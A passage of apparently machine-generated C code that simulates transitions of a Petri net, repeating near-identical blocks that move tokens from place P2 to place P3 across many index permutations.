*/\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[4])\n && (P2_marking_member_0[3] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 4, 0, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[0])\n && (P2_marking_member_0[4] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 4, 0, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[0])\n && (P2_marking_member_0[4] == P2_marking_member_0[3])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 4, 2, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[2])\n && (P2_marking_member_0[4] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 4, 2, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[2])\n && (P2_marking_member_0[4] == P2_marking_member_0[3])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 4, 3, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[3])\n && (P2_marking_member_0[4] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 1, 4, 3, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[3])\n && (P2_marking_member_0[4] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[1];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 0, 1, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[1])\n && (P2_marking_member_0[0] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 0, 3, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[3])\n && (P2_marking_member_0[0] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 0, 4, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[4])\n && (P2_marking_member_0[0] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 0, 4, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[4])\n && (P2_marking_member_0[0] == P2_marking_member_0[3])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 1, 0, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[0])\n && (P2_marking_member_0[1] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 1, 3, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[3])\n && (P2_marking_member_0[1] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 1, 4, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[4])\n && (P2_marking_member_0[1] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 1, 4, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[4])\n && (P2_marking_member_0[1] == P2_marking_member_0[3])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 3, 0, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[0])\n && (P2_marking_member_0[3] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 3, 1, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[1])\n && (P2_marking_member_0[3] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 3, 4, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[4])\n && (P2_marking_member_0[3] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 3, 4, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[4])\n && (P2_marking_member_0[3] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 4, 0, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[0])\n && (P2_marking_member_0[4] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 4, 0, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[0])\n && (P2_marking_member_0[4] == P2_marking_member_0[3])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 4, 1, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[1])\n && (P2_marking_member_0[4] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 4, 1, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[1])\n && (P2_marking_member_0[4] == P2_marking_member_0[3])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 4, 3, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[3])\n && (P2_marking_member_0[4] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 2, 4, 3, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[3])\n && (P2_marking_member_0[4] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[2];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 0, 1, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[1])\n && (P2_marking_member_0[0] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 0, 2, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[2])\n && (P2_marking_member_0[0] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 0, 4, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[4])\n && (P2_marking_member_0[0] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 0, 4, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[4])\n && (P2_marking_member_0[0] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 1, 0, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[0])\n && (P2_marking_member_0[1] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 1, 2, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[2])\n && (P2_marking_member_0[1] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 1, 4, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[4])\n && (P2_marking_member_0[1] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 1, 4, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[4])\n && (P2_marking_member_0[1] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 2, 0, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[0])\n && (P2_marking_member_0[2] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 2, 1, 4 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[1])\n && (P2_marking_member_0[2] == P2_marking_member_0[4])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 2, 4, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[4])\n && (P2_marking_member_0[2] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 2, 4, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[4])\n && (P2_marking_member_0[2] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 4, 0, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[0])\n && (P2_marking_member_0[4] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = 